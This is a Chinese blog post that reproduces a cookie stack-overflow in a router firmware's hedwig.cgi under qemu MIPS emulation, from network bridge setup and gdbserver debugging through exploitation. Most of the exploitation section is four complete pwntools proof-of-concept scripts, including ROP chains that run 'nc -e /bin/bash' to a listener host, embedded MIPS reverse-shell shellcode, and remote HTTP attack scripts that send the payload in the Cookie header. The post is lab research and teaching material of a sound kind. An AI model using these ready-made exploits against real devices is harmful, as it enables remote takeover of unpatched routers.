前言
上一篇文章结尾提到了此漏洞也能用qemu-system模式复现成功,本篇就来填坑和开下一个坑
用到的环境和工具与上一篇文章用到的相同
正文
前期准备
网络配置
qemu-system模式下的网络配置绝对算是一个巨坑,对于新手来说学习过程非常不友好,我的网卡名是“ens33”所以尖括号中的全都为“ens33”,配置命令如下
ifconfig <你的网卡名称(能上网的那张)> down # 首先关闭宿主机网卡接口
brctl addbr br0 # 添加一座名为 br0 的网桥
brctl addif br0 <你的网卡名称> # 在 br0 中添加一个接口
brctl stp br0 off # 如果只有一个网桥,则关闭生成树协议
brctl setfd br0 1 # 设置 br0 的转发延迟
brctl sethello br0 1 # 设置 br0 的 hello 时间
ifconfig br0 0.0.0.0 promisc up # 启用 br0 接口
ifconfig <你的网卡名称> 0.0.0.0 promisc up # 启用网卡接口
dhclient br0 # 从 dhcp 服务器获得 br0 的 IP 地址
brctl show br0 # 查看虚拟网桥列表
brctl showstp br0 # 查看 br0 的各接口信息
tunctl -t tap1 -u root # 创建一个 tap1 接口,只允许 root 用户访问
brctl addif br0 tap1 # 在虚拟网桥中增加一个 tap1 接口
ifconfig tap1 0.0.0.0 promisc up # 启用 tap1 接口
brctl showstp br0 # 显示 br0 的各个接口
启动虚拟机
这一步主要需要注意tap的名称要和之前创建的tap接口名称一致,启动命令如下
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -nographic -net nic -net tap,ifname=tap1,script=no,downscript=no
文件传输命令如下(也可使用ftp上传)
scp -r ./squashfs-root root@192.168.80.135:/root/
启动固件程序
自行创建conf文件并输入以下内容(注意修改内容中的IP地址):
Umask 026
PIDFile /var/run/httpd.pid
LogGMT On #开启log
ErrorLog /log #log文件
Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}
Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}
Server
{
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family inet
Interface eth0 #对应qemu虚拟机的网卡
Address 192.168.80.134 #对应qemu虚拟机IP
Port "1234" #对应未被使用的端口
Virtual
{
AnyHost
Control
{
Alias /
Location /htdocs/web
IndexNames { index.php }
External
{
/usr/sbin/phpcgi { router_info.xml }
/usr/sbin/phpcgi { post_login.xml }
}
}
Control
{
Alias /HNAP1
Location /htdocs/HNAP1
External
{
/usr/sbin/hnap { hnap }
}
IndexNames { index.hnap }
}
}
}
然后需要将固件中需要用到的文件复制到系统目录下,先创建copy.sh文件,然后写入以下内容
cp conf /
cp sbin/httpd /
cp -rf htdocs/ /
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
cd /
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap
./httpd -f conf
执行copy.sh后使用浏览器访问
直接执行hedweg.cgi文件会出现如下错误
这是因为执行时缺少了环境变量,命令如下
export CONTENT_LENGTH="100"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
export HTTP_COOKIE="uid=1234"
再次执行hedweg.cgi依旧会报错
这是因为执行时缺少了post数据
开始调试
从GitHub上下载gdbserver,找到对应的版本
gdbserver上传到qemu虚拟机后执行如下命令启动调试
export CONTENT_LENGTH="100"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="`cat content`"
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
echo "uid=1234"|./gdbserver-7.7.1-mipsel-ii-v1 192.168.80.135:6666 /htdocs/web/hedwig.cgi
此时的qemu虚拟机环境变量如下
cookie中对应的是使用patternLocOffset.py创建的超长字符串,用来判断溢出的偏移
我在调试至此时出现了玄学情况,溢出的sprintf函数不读取cookie
在sess_get_uid函数处下断,查看程序是否读到了cookie
cookie读取成功了,但是并没有传到sprintf函数中,此时我们设置一下REMOTE_ADDR这个环境变量并再次启动调试
读取成功了,但是依旧不明白为什么cookie溢出会读到remote_addr;尝试使用patternLocOffset测得溢出偏移,并获取libc基址
漏洞利用
与上一篇一样用到ROP链版本的poc,代码如下:
from pwn import *
context.endian = "little"
context.arch = "mips"
base_addr = 0x77f34000
system_addr_1 = 0x53200-1
gadget1 = 0x45988
gadget2 = 0x159cc
cmd = 'nc -e /bin/bash 192.168.80.128 9999'
padding = 'A' * 973 #1009-4*9
padding += p32(base_addr + system_addr_1) # s0
padding += p32(base_addr + gadget2) # s1
padding += 'A' * 4 # s2
padding += 'A' * 4 # s3
padding += 'A' * 4 # s4
padding += 'A' * 4 # s5
padding += 'A' * 4 # s6
padding += 'A' * 4 # s7
padding += 'A' * 4 # fp
padding += p32(base_addr + gadget1) # ra
padding += 'B' * 0x10
padding += cmd
f = open("exploit",'wb')
f.write(padding)
f.close()
如果在使用nc命令时遇到了如下错误,有两种方法解决此错误
1、我的机器IP如下
我使用128的Ubuntu开启了qemu虚拟机,虚拟机的IP是135,此时如果在128上运行命令“nc -vlp 9999”就会报上图的错误,因此我新开了一个VMware虚拟机(注意并不是qemu虚拟机),IP是133,在执行ROP版本的exp之前,在133上运行命令“nc -vlp 9999”,然后在135上执行ROP版本的exp脚本
2、如果虚拟机不够,或者机器性能不允许开多个虚拟机,以我的IP为例,在128中运行命令“nc -vlnp 9999”,然后在135中执行ROP版本的exp脚本
进入到system函数后按‘c’就会执行nc命令了
可见此处已经得到shell了
在参考的文章中,前辈用了四种方法都能成功,而我只能成功一种,在此我将剩下的三种poc脚本给出,供大家参考,并希望如果有大神能复现成功的请务必分享!!
使用shellcode的poc脚本
from pwn import *
context.endian = "little"
context.arch = "mips"
#200 byte Linux MIPS reverse shell shellcode by Jacob Holcomb of ISE
#Connects on 192.168.1.177:31337
shellcode = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
shellcode += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
shellcode += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
shellcode += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
#shellcode += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf" #192.168.1.177
#shellcode += "\xf8\xff\xa5\xafP\x87\x05<\xc0\xa8\xa54\xfc\xff\xa5\xaf" #192.168.80.135
shellcode += "\xf8\xff\xa5\xafP\x80\x05<\xc0\xa8\xa54\xfc\xff\xa5\xaf" #192.168.80.128:31337
shellcode += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
shellcode += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
shellcode += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
shellcode += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
shellcode += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
shellcode += "\xab\x0f\x02\x24\x0c\x09\x09\x01"
libc_base = 0x77f34000
sleep = 0x56BD0 #sleep jr ra 0x7678edf4
gadget1 = 0x57E50
gadget2 = 0x3B8A8
gadget3 = 0x14F28
gadget4 = 0x1DD08
payload = 'A' * 973 #1009-9*4
payload += 'A' * 4 # s0
payload += p32(libc_base + gadget2) # s1 = mipsrop.tail() && move $ra,$(sp+0x24) && jr s2
payload += p32(libc_base + sleep) # s2 = jr $(sp+0x24)
payload += 'A' * 4 # s3
payload += p32(libc_base + gadget4) # s4 = mipsrop.find("move $t9,$s1") && jr shellcode
payload += 'A' * 4 # s5
payload += 'A' * 4 # s6
payload += 'A' * 4 # s7
payload += 'A' * 4 # fp
payload += p32(libc_base + gadget1) # ra = mipsrop.find("li $a0,1") && jr s1
payload += 'B' * 0x24 # mipsrop.tail() 0x24B padding
payload += p32(libc_base + gadget3) # $(sp+0x24) = mipsrop.stackfinder() && move s1,$(sp+0x18) && jr $s4
payload += 'c' * 0x18 # mipsrop.stackfinder() 0x18B padding
payload += shellcode
f = open("exploit",'wb+')
f.write(payload)
f.close()
使用http包进行远程攻击的poc脚本(rop链版本)
from pwn import *
context.endian = "little"
context.arch = "mips"
import requests
import sys
def get_payload(offset, libc_base, cmd):
gadget1 = 0x45988
gadget2 = 0x159cc
system_addr_1 = 0x53200-1
payload = 'A' * offset
payload += p32(libc_base + system_addr_1) # s0
payload += p32(libc_base + gadget2) # s1
payload += 'A' * 4 # s2
payload += 'A' * 4 # s3
payload += 'A' * 4 # s4
payload += 'A' * 4 # s5
payload += 'A' * 4 # s6
payload += 'A' * 4 # s7
payload += 'A' * 4 # fp
payload += p32(libc_base + gadget1) # ra
payload += 'B' * 0x10
payload += cmd
return payload
if __name__=="__main__":
cmd = "nc -e /bin/bash 192.168.80.128 9999"
cookie='uid=' + get_payload(973, 0x77f34000, cmd)
header = {
'Cookie' : cookie,
'Content-Type' : 'application/x-www-form-urlencoded',
'Content-Length': '100',
'Remote-Addr' : cookie
}
data = {'uid':'1234'}
ip_port=sys.argv[1]
url="http://"+ip_port+"/hedwig.cgi"
r=requests.post(url=url,headers=header,data=data)
print r.text
使用http包进行远程攻击的poc脚本(shellcode版本)
from pwn import *
context.endian = "little"
context.arch = "mips"
import requests
import sys
def get_payload(offset, libc_base):
shellcode = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
shellcode += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
shellcode += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
shellcode += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
#shellcode += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf" #192.168.1.177
shellcode += "\xf8\xff\xa5\xafP\x80\x05<\xc0\xa8\xa54\xfc\xff\xa5\xaf" #192.168.80.128:31337
shellcode += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
shellcode += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
shellcode += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
shellcode += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
shellcode += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
shellcode += "\xab\x0f\x02\x24\x0c\x09\x09\x01"
sleep = 0x56BD0 #sleep jr ra 0x7678edf4
gadget1 = 0x57E50
gadget2 = 0x3B8A8
gadget3 = 0x14F28
gadget4 = 0x1DD08#0x15C84#0xBB44
payload = 'A' * offset #1009-9*4
payload += 'A' * 4 # s0
payload += p32(libc_base + gadget2) # s1 = mipsrop.tail() && move $ra,$(sp+0x24) && jr s2
payload += p32(libc_base + sleep) # s2 = jr $(sp+0x24)
payload += 'A' * 4 # s3
payload += p32(libc_base + gadget4) # s4 = mipsrop.find("move $t9,$s1") && jr shellcode
payload += 'A' * 4 # s5
payload += 'A' * 4 # s6
payload += 'A' * 4 # s7
payload += 'A' * 4 # fp
payload += p32(libc_base + gadget1) # ra = mipsrop.find("li $a0,1") && jr s1
payload += 'B' * 0x24 # mipsrop.tail() 0x24B padding
payload += p32(libc_base + gadget3) # $(sp+0x24) = mipsrop.stackfinder() && move s1,$(sp+0x18) && jr $s4
payload += 'c' * 0x18 # mipsrop.stackfinder() 0x18B padding
payload += shellcode
return payload
if __name__=="__main__":
cookie='uid=' + get_payload(973, 0x77f34000)
header = {
'Cookie' : cookie,
'Content-Type' : 'application/x-www-form-urlencoded',
'Content-Length': '100'
}
data = {'uid':'1234'}
ip_port=sys.argv[1]
url="http://"+ip_port+"/hedwig.cgi"
r=requests.post(url=url,headers=header,data=data)
print r.text
结束语
虽然本文篇幅短小,成功截图也就短短4张,但是过程是很漫长的,从最初的网络配置,到后面cookie总是读不进去,再到nc命令报错,希望大家能喜欢这篇文章
漏洞利用已经结束,但是漏洞挖掘还没开始,我在GitHub上看到有大佬做了一个固件版本的AFL取名“firmAFL”,我会尝试使用这个fuzz做模糊测试,看是否能在确立攻击面的情况下找到这个cookie溢出漏洞
参考的文章链接:
整体的漏洞利用以及poc脚本:https://www.anquanke.com/post/id/206626#h2-13
qemu网络配置:https://wzt.ac.cn/2019/09/10/QEMU-networking/
mips版本的shellcode:http://shell-storm.org/shellcode/files/shellcode-860.php
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界
最后于 2021-1-10 17:06
被pureGavin编辑
,原因: 内容修改